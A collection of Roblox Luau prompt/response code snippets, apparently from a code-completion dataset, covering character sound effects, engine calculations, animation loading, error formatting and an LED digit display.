Prompt: -- map a value from one range to another

Response:
local function map(x, inMin, inMax, outMin, outMax)
	return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin
end

local function playSound(sound)
	sound.TimePosition = 0
	sound.Playing = true
end

local function stopSound(sound)
	sound.Playing = false
	sound.TimePosition = 0
end

local function initializeSoundSystem(player, humanoid, rootPart)
	local sounds = {}

	-- initialize sounds
	for name, props in pairs(SOUND_DATA) do
		local sound = Instance.new("Sound")
		sound.Name = name

		-- set default values
		sound.Archivable = false
		sound.EmitterSize = 5
		sound.MaxDistance = 150
		sound.Volume = 0.65

		for propName, propValue in pairs(props) do
			sound[propName] = propValue
		end

		sound.Parent = rootPart
		sounds[name] = sound
	end

	local playingLoopedSounds = {}

	local function stopPlayingLoopedSounds(except)
		for sound in pairs(playingLoopedSounds) do
			if sound ~= except then
				sound.Playing = false
				playingLoopedSounds[sound] = nil
			end
		end
	end

	-- state transition callbacks
	local stateTransitions = {
		[Enum.HumanoidStateType.FallingDown] = function()
			stopPlayingLoopedSounds()
		end,

		[Enum.HumanoidStateType.GettingUp] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.GettingUp)
		end,

		[Enum.HumanoidStateType.Jumping] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.Jumping)
		end,

		[Enum.HumanoidStateType.Swimming] = function()
			local verticalSpeed = math.abs(rootPart.Velocity.Y)
			if verticalSpeed > 0.1 then
				sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)
				playSound(sounds.Splash)
			end
			stopPlayingLoopedSounds(sounds.Swimming)
			sounds.Swimming.Playing = true
			playingLoopedSounds[sounds.Swimming] = true
		end,

		[Enum.HumanoidStateType.Freefall] = function()
			sounds.FreeFalling.Volume = 0
			stopPlayingLoopedSounds(sounds.FreeFalling)
			playingLoopedSounds[sounds.FreeFalling] = true
		end,

		[Enum.HumanoidStateType.Landed] = function()
			stopPlayingLoopedSounds()
			local verticalSpeed = math.abs(rootPart.Velocity.Y)
			if verticalSpeed > 75 then
				sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)
				playSound(sounds.Landing)
			end
		end,

		[Enum.HumanoidStateType.Running] = function()
			stopPlayingLoopedSounds(sounds.Running)
			sounds.Running.Playing = true
			playingLoopedSounds[sounds.Running] = true
		end,

		[Enum.HumanoidStateType.Climbing] = function()
			local sound = sounds.Climbing
			if math.abs(rootPart.Velocity.Y) > 0.1 then
				sound.Playing = true
				stopPlayingLoopedSounds(sound)
			else
				stopPlayingLoopedSounds()
			end
			playingLoopedSounds[sound] = true
		end,

		[Enum.HumanoidStateType.Seated] = function()
			stopPlayingLoopedSounds()
		end,

		[Enum.HumanoidStateType.Dead] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.Died)
		end,
	}

	-- updaters for looped sounds
	local loopedSoundUpdaters = {
		[sounds.Climbing] = function(dt, sound, vel)
			sound.Playing = vel.Magnitude > 0.1
		end,

		[sounds.FreeFalling] = function(dt, sound, vel)
			if vel.Magnitude > 75 then
				sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)
			else
				sound.Volume = 0
			end
		end,

		[sounds.Running] = function(dt, sound, vel)
		--sound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5

		sound.SoundId = FootstepsSoundGroup:WaitForChild(humanoid.FloorMaterial).SoundId
		sound.PlaybackSpeed = FootstepsSoundGroup:WaitForChild(humanoid.FloorMaterial).PlaybackSpeed * (vel.Magnitude/20)
		sound.Volume = FootstepsSoundGroup:WaitForChild(humanoid.FloorMaterial).Volume * (vel.Magnitude/12) * humanoid.Parent.Saude.Stances.Loudness.Value
		sound.EmitterSize = FootstepsSoundGroup:WaitForChild(humanoid.FloorMaterial).Volume * (vel.Magnitude/12) * 50 * humanoid.Parent.Saude.Stances.Loudness.Value

		if FootstepsSoundGroup:FindFirstChild(humanoid.FloorMaterial) == nil then
			sound.SoundId = FootstepsSoundGroup:WaitForChild("nil Sound").SoundId
			sound.PlaybackSpeed = FootstepsSoundGroup:WaitForChild("nil Sound").PlaybackSpeed
			sound.EmitterSize = FootstepsSoundGroup:WaitForChild("nil Sound").Volume
			sound.Volume = FootstepsSoundGroup:WaitForChild("nil Sound").Volume
		end
		end,
	}

	-- state substitutions to avoid duplicating entries in the state table
	local stateRemap = {
		[Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,
	}

	local activeState = stateRemap[humanoid:GetState()] or humanoid:GetState()
	local activeConnections = {}

	local stateChangedConn = humanoid.StateChanged:Connect(function(_, state)
		state = stateRemap[state] or state

		if state ~= activeState then
			local transitionFunc = stateTransitions[state]

			if transitionFunc then
				transitionFunc()
			end

			activeState = state
		end
	end)

	local steppedConn = RunService.Stepped:Connect(function(_, worldDt)
		-- update looped sounds on stepped
		for sound in pairs(playingLoopedSounds) do
			local updater = loopedSoundUpdaters[sound]

			if updater then
				updater(worldDt, sound, rootPart.Velocity)
			end
		end
	end)

	local humanoidAncestryChangedConn
	local rootPartAncestryChangedConn
	local characterAddedConn

	local function terminate()
		stateChangedConn:Disconnect()
		steppedConn:Disconnect()
		humanoidAncestryChangedConn:Disconnect()
		rootPartAncestryChangedConn:Disconnect()
		characterAddedConn:Disconnect()
	end

	humanoidAncestryChangedConn = humanoid.AncestryChanged:Connect(function(_, parent)
		if not parent then
			terminate()
		end
	end)

	rootPartAncestryChangedConn = rootPart.AncestryChanged:Connect(function(_, parent)
		if not parent then
			terminate()
		end
	end)

	characterAddedConn = player.CharacterAdded:Connect(terminate)
end

local function playerAdded(player)
	local function characterAdded(character)
		-- Avoiding memory leaks in the face of Character/Humanoid/RootPart lifetime has a few complications:
		-- * character deparenting is a Remove instead of a Destroy, so signals are not cleaned up automatically.
		-- ** must use a waitForFirst on everything and listen for hierarchy changes.
		-- * the character might not be in the dm by the time CharacterAdded fires
		-- ** constantly check consistency with player.Character and abort if CharacterAdded is fired again
		-- * Humanoid may not exist immediately, and by the time it's inserted the character might be deparented.
		-- * RootPart probably won't exist immediately.
		-- ** by the time RootPart is inserted and Humanoid.RootPart is set, the character or the humanoid might be deparented.

		if not character.Parent then
			waitForFirst(character.AncestryChanged, player.CharacterAdded)
		end

		if player.Character ~= character or not character.Parent then
			return
		end

		local humanoid = character:FindFirstChildOfClass("Humanoid")
		while character:IsDescendantOf(game) and not humanoid do
			waitForFirst(character.ChildAdded, character.AncestryChanged, player.CharacterAdded)
			humanoid = character:FindFirstChildOfClass("Humanoid")
		end

		if player.Character ~= character or not character:IsDescendantOf(game) then
			return
		end

		-- must rely on HumanoidRootPart naming because Humanoid.RootPart does not fire changed signals
		local rootPart = character:FindFirstChild("HumanoidRootPart")
		while character:IsDescendantOf(game) and not rootPart do
			waitForFirst(character.ChildAdded, character.AncestryChanged, humanoid.AncestryChanged, player.CharacterAdded)
			rootPart = character:FindFirstChild("HumanoidRootPart")
		end

		if rootPart and humanoid:IsDescendantOf(game) and character:IsDescendantOf(game) and player.Character == character then
			initializeSoundSystem(player, humanoid, rootPart)
		end
	end

	if player.Character then
		characterAdded(player.Character)
	end
	player.CharacterAdded:Connect(characterAdded)
end

Players.PlayerAdded:Connect(playerAdded)
for _, player in ipairs(Players:GetPlayers()) do
	playerAdded(player)
end

repeat
	wait()
until game.Players.LocalPlayer.Character

local Character = game.Players.LocalPlayer.Character
local Head = Character:WaitForChild("HumanoidRootPart")
local RunningSound = Head:WaitForChild("Running")
local Humanoid = Character:WaitForChild("Humanoid")
local vel = 0

Humanoid.Changed:Connect(function(property)

end)

Humanoid.Running:connect(function(a)
		RunningSound.PlaybackSpeed 	= FootstepsSoundGroup:WaitForChild(Humanoid.FloorMaterial).PlaybackSpeed * (a/20) * (math.random(30,50)/40)
		RunningSound.Volume 		= FootstepsSoundGroup:WaitForChild(Humanoid.FloorMaterial).Volume * (vel/12)
		RunningSound.EmitterSize 	= FootstepsSoundGroup:WaitForChild(Humanoid.FloorMaterial).Volume * (vel/12) * 50
		vel 						= a
end)


Prompt: --	conf = 0.000001*vvv

Response:
	--xt =  0
	else
conf = 0.000016*vvv
xt =  hp.Value/4
end

if displacement.Value <= 3000 then
xans = (1.4*displacement.Value)
else
xans = (0.4*displacement.Value)+3000
end


Prompt: -- Pure function returns options with all properties.

Response:
local function normalizeDiffOptions(options_: DiffOptions?): DiffOptionsNormalized
	-- ROBLOX FIXME Luau: needs a normalization fix to avoid Key 'compareKeys' is missing from '{  }' in the type 'DiffOptions | {  }'
	local options = if options_ then options_ else {} :: DiffOptions
	return Object.assign({}, OPTIONS_DEFAULT, options, {
		compareKeys = getCompareKeys(options.compareKeys),
		contextLines = getContextLines(options.contextLines),
	}) :: DiffOptionsNormalized
end

return {
	noColor = noColor,
	normalizeDiffOptions = normalizeDiffOptions,
}


Prompt: --print("Loading anims " .. name)

Response:
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight


Prompt:
--[[
	Even though Luau can catch and rethrow arbitrary objects, only string errors
	are supported by the ScriptContext.ErrorDetailed signal (the mechanism used
	to catch unhandled errors at the top level).

	This function turns an arbitrary error object into a detailed string message
	to avoid any loss of information.
]]

Response:
local function errorToString(error_: Error | Object | string | Array<any>): string
	local errorString
	if typeof(error_) == "table" then
		if (error_ :: Error).message and (error_ :: Error).stack then
			-- Adding these clear dividers helps us split this error back up
			-- into pieces later. We include one at the beginning so that the
			-- final stack frame added by rethrowing can be carved off
			errorString = DIVIDER
				.. (error_ :: Error).message
				.. DIVIDER
				.. tostring((error_ :: Error).stack)
		else
			errorString = inspect(error_)
		end
	else
		errorString = inspect(error_)
	end

	return errorString
end


Prompt: --	print("End of DestroyScript")

Response:
for i,v in pairs(Engine.Parent.Fire:GetChildren()) do
v.Enabled = true
end

for i,l in pairs(Engine.Parent.Parent:GetDescendants()) do
if l:IsA("BasePart") then
l.Material = Enum.Material.CorrodedMetal
end
end
end


Prompt: --Number Label

Response:
	if Value == "0" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOff
    script.Parent.Row1["2"].BackgroundTransparency = LEDOn
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOn
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOn
    script.Parent.Row3["1"].BackgroundTransparency = LEDOn
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOn
    script.Parent.Row3["5"].BackgroundTransparency = LEDOn
    script.Parent.Row4["1"].BackgroundTransparency = LEDOn
    script.Parent.Row4["2"].BackgroundTransparency = LEDOff
    script.Parent.Row4["3"].BackgroundTransparency = LEDOn
    script.Parent.Row4["4"].BackgroundTransparency = LEDOff
    script.Parent.Row4["5"].BackgroundTransparency = LEDOn
    script.Parent.Row5["1"].BackgroundTransparency = LEDOn
    script.Parent.Row5["2"].BackgroundTransparency = LEDOn
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOn
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOn
    script.Parent.Row7["1"].BackgroundTransparency = LEDOff
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end
	if Value == "1" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOff
    script.Parent.Row1["2"].BackgroundTransparency = LEDOff
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOff
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOff
    script.Parent.Row2["2"].BackgroundTransparency = LEDOn
    script.Parent.Row2["3"].BackgroundTransparency = LEDOn
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOff
    script.Parent.Row3["1"].BackgroundTransparency = LEDOff
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOn
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOff
    script.Parent.Row4["1"].BackgroundTransparency = LEDOff
    script.Parent.Row4["2"].BackgroundTransparency = LEDOff
    script.Parent.Row4["3"].BackgroundTransparency = LEDOn
    script.Parent.Row4["4"].BackgroundTransparency = LEDOff
    script.Parent.Row4["5"].BackgroundTransparency = LEDOff
    script.Parent.Row5["1"].BackgroundTransparency = LEDOff
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOn
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOff
    script.Parent.Row6["1"].BackgroundTransparency = LEDOff
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOn
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOff
    script.Parent.Row7["1"].BackgroundTransparency = LEDOff
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end
	if Value == "2" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOff
    script.Parent.Row1["2"].BackgroundTransparency = LEDOn
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOn
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOn
    script.Parent.Row3["1"].BackgroundTransparency = LEDOff
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOn
    script.Parent.Row4["1"].BackgroundTransparency = LEDOff
    script.Parent.Row4["2"].BackgroundTransparency = LEDOff
    script.Parent.Row4["3"].BackgroundTransparency = LEDOff
    script.Parent.Row4["4"].BackgroundTransparency = LEDOn
    script.Parent.Row4["5"].BackgroundTransparency = LEDOff
    script.Parent.Row5["1"].BackgroundTransparency = LEDOff
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOn
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOff
    script.Parent.Row6["1"].BackgroundTransparency = LEDOff
    script.Parent.Row6["2"].BackgroundTransparency = LEDOn
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOff
    script.Parent.Row7["1"].BackgroundTransparency = LEDOn
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOn
		return
	end
	if Value == "3" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOff
    script.Parent.Row1["2"].BackgroundTransparency = LEDOn
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOn
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOn
    script.Parent.Row3["1"].BackgroundTransparency = LEDOff
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOn
    script.Parent.Row4["1"].BackgroundTransparency = LEDOff
    script.Parent.Row4["2"].BackgroundTransparency = LEDOff
    script.Parent.Row4["3"].BackgroundTransparency = LEDOn
    script.Parent.Row4["4"].BackgroundTransparency = LEDOn
    script.Parent.Row4["5"].BackgroundTransparency = LEDOff
    script.Parent.Row5["1"].BackgroundTransparency = LEDOff
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOn
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOn
    script.Parent.Row7["1"].BackgroundTransparency = LEDOff
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end
	if Value == "4" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOff
    script.Parent.Row1["2"].BackgroundTransparency = LEDOff
    script.Parent.Row1["3"].BackgroundTransparency = LEDOff
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOff
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOn
    script.Parent.Row2["4"].BackgroundTransparency = LEDOn
    script.Parent.Row2["5"].BackgroundTransparency = LEDOff
    script.Parent.Row3["1"].BackgroundTransparency = LEDOff
    script.Parent.Row3["2"].BackgroundTransparency = LEDOn
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOn
    script.Parent.Row3["5"].BackgroundTransparency = LEDOff
    script.Parent.Row4["1"].BackgroundTransparency = LEDOff
    script.Parent.Row4["2"].BackgroundTransparency = LEDOn
    script.Parent.Row4["3"].BackgroundTransparency = LEDOff
    script.Parent.Row4["4"].BackgroundTransparency = LEDOn
    script.Parent.Row4["5"].BackgroundTransparency = LEDOff
    script.Parent.Row5["1"].BackgroundTransparency = LEDOn
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOn
    script.Parent.Row5["5"].BackgroundTransparency = LEDOff
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOn
    script.Parent.Row6["3"].BackgroundTransparency = LEDOn
    script.Parent.Row6["4"].BackgroundTransparency = LEDOn
    script.Parent.Row6["5"].BackgroundTransparency = LEDOn
    script.Parent.Row7["1"].BackgroundTransparency = LEDOff
    script.Parent.Row7["2"].BackgroundTransparency = LEDOff
    script.Parent.Row7["3"].BackgroundTransparency = LEDOff
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end
	if Value == "5" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOn
    script.Parent.Row1["2"].BackgroundTransparency = LEDOn
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOn
    script.Parent.Row2["1"].BackgroundTransparency = LEDOn
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOff
    script.Parent.Row3["1"].BackgroundTransparency = LEDOn
    script.Parent.Row3["2"].BackgroundTransparency = LEDOn
    script.Parent.Row3["3"].BackgroundTransparency = LEDOn
    script.Parent.Row3["4"].BackgroundTransparency = LEDOn
    script.Parent.Row3["5"].BackgroundTransparency = LEDOff
    script.Parent.Row4["1"].BackgroundTransparency = LEDOff
    script.Parent.Row4["2"].BackgroundTransparency = LEDOff
    script.Parent.Row4["3"].BackgroundTransparency = LEDOff
    script.Parent.Row4["4"].BackgroundTransparency = LEDOff
    script.Parent.Row4["5"].BackgroundTransparency = LEDOn
    script.Parent.Row5["1"].BackgroundTransparency = LEDOff
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOn
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOn
    script.Parent.Row7["1"].BackgroundTransparency = LEDOff
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end
	if Value == "6" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOff
    script.Parent.Row1["2"].BackgroundTransparency = LEDOff
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOff
    script.Parent.Row2["2"].BackgroundTransparency = LEDOn
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOff
    script.Parent.Row3["1"].BackgroundTransparency = LEDOn
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOff
    script.Parent.Row4["1"].BackgroundTransparency = LEDOn
    script.Parent.Row4["2"].BackgroundTransparency = LEDOn
    script.Parent.Row4["3"].BackgroundTransparency = LEDOn
    script.Parent.Row4["4"].BackgroundTransparency = LEDOn
    script.Parent.Row4["5"].BackgroundTransparency = LEDOff
    script.Parent.Row5["1"].BackgroundTransparency = LEDOn
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOn
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOn
    script.Parent.Row7["1"].BackgroundTransparency = LEDOff
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end
	if Value == "7" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOn
    script.Parent.Row1["2"].BackgroundTransparency = LEDOn
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOn
    script.Parent.Row2["1"].BackgroundTransparency = LEDOff
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOn
    script.Parent.Row3["1"].BackgroundTransparency = LEDOff
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOn
    script.Parent.Row3["5"].BackgroundTransparency = LEDOff
    script.Parent.Row4["1"].BackgroundTransparency = LEDOff
    script.Parent.Row4["2"].BackgroundTransparency = LEDOff
    script.Parent.Row4["3"].BackgroundTransparency = LEDOff
    script.Parent.Row4["4"].BackgroundTransparency = LEDOn
    script.Parent.Row4["5"].BackgroundTransparency = LEDOff
    script.Parent.Row5["1"].BackgroundTransparency = LEDOff
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOn
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOff
    script.Parent.Row6["1"].BackgroundTransparency = LEDOff
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOn
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOff
    script.Parent.Row7["1"].BackgroundTransparency = LEDOff
    script.Parent.Row7["2"].BackgroundTransparency = LEDOff
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOff
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end
	if Value == "8" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOff
    script.Parent.Row1["2"].BackgroundTransparency = LEDOn
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOn
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOn
    script.Parent.Row3["1"].BackgroundTransparency = LEDOn
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOn
    script.Parent.Row4["1"].BackgroundTransparency = LEDOff
    script.Parent.Row4["2"].BackgroundTransparency = LEDOn
    script.Parent.Row4["3"].BackgroundTransparency = LEDOn
    script.Parent.Row4["4"].BackgroundTransparency = LEDOn
    script.Parent.Row4["5"].BackgroundTransparency = LEDOff
    script.Parent.Row5["1"].BackgroundTransparency = LEDOn
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOn
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOn
    script.Parent.Row7["1"].BackgroundTransparency = LEDOff
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end
	if Value == "9" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOff
